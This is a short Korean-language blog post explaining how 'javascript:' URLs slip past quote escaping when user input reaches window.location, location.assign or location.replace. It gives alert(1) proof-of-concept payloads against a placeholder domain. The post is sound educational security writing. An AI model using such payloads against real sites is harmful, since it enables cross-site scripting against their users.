Web,Mobile/Tech

XSS Bypass in window.location

LimeLee 2022. 5. 3. 17:23

사용자의 입력 값이 window.location의 속성이나 메소드에 반영되는 서비스들이 종종 있다.

 

보통 XSS가 발생하는 공격 벡터인데 XSS 방지를 위해 싱글쿼터 또는 더블쿼터를 escape 처리를 해두기도 한다. 이것은 간단한 페이로드로 우회가 가능하다.

 


 

사용자의 입력 값이 javascript 단의 location.href 속성 값에 반영된다고 가정.

- https://test.com?url=test';alert(1)//

<script>
    location.href='test%27;alert(1)//';
</script>

싱글쿼터가 escape처리되어 원하는 스크립트 실행이 힘들어 보인다.

 

- https://test.com?url=javascript:alert(1)

<script>
    location.href='javascript:alert(1)';
</script>

싱글쿼터 혹은 더블쿼터 escape 우회없이 스크립트 실행이 가능하다.

 

 

window.location.href 속성 외 일부 메소드에서도 발생 가능하다.

window.location='javascript:alert(1)';
window.location.href='javascript:alert(1)';
window.location.assign("javascript:alert(1)");
window.location.replace("javascript:alert(1)");

간단한데 의외로 생각을 못했었다.

a 태그의 href 속성에 javascript:를 사용하는 페이로드는 유저 상호 작용이 필요하다.

<a href=javascript:alert(1) >xss</a>

<script>location.href='javascript:alert(1)';</script>

 

그래서 '아 href 속성에다가 넣는 페이로드는 유저 상호 작용이 필요한 페이로드구나!'하고 착각한 것 같다.